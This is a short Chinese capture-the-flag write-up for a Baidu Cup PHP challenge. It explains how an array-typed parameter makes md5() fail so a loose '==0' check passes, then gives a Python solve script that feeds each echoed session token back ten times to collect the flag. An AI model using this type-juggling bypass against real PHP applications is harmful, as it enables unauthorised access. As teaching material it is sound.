其实不难,但是作为我这个代码菜鸡+脑洞菜鸡+黑阔菜鸡而言确实挺难。

题目源码:

 <?php
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
$_SESSION['nums'] = 0;
$_SESSION['time'] = time();
$_SESSION['whoami'] = 'ea';
} if($_SESSION['time']+120<time()){
session_destroy();
} $value = $_REQUEST['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)]; if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
$_SESSION['nums']++;
$_SESSION['whoami'] = $str_rands;
echo $str_rands;
} if($_SESSION['nums']>=10){
echo $flag;
} show_source(__FILE__);
?>

最主要的是那个19行的if语句。能够让她执行十次就可以得到Flag了。

首先先看一下if后面的那个代码:

substr(md5($value),5,4) == 0

猥琐百度杯猥琐CTF-LMLPHP

其实他压根就是为真因为我们传如value是以数组的形式传入所以是不能用md5加密的。否则就是错误。这就是一道弱类型。所以这个不用管,因为他本身就为真。

主要是前面的

$_SESSION['whoami']==($value[0].$value[1])

第一次传入ea然后就可以等于第8行,但是到了21行$str_rands这个变量又将$_SESSION['whoami']的值给覆盖了,而$str_rands的值是通过

 $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];

随机生成的。所以要进行一直浏览这个界面就可以得到Flag就行了。

作为python菜鸡网上找了相关案例:

#!usr/bin/env python
#!coding=utf-8 __author__ = 'zhengjim' import requests aa = requests.session()
code = aa.get('http://3f53732255ce43aa94a40161e40bc03de58dbfefb0d14523.ctf.game/?value[0]=e&value[1]=a').text
# print code
cc = code[:2]
for i in xrange(10):
url = 'http://3f53732255ce43aa94a40161e40bc03de58dbfefb0d14523.ctf.game/index.php?value[0]={}&value[1]={}'.format(cc[0],cc[1])
flag= aa.get(url=url).text
cc = flag[:2]
print flag
04-18 01:15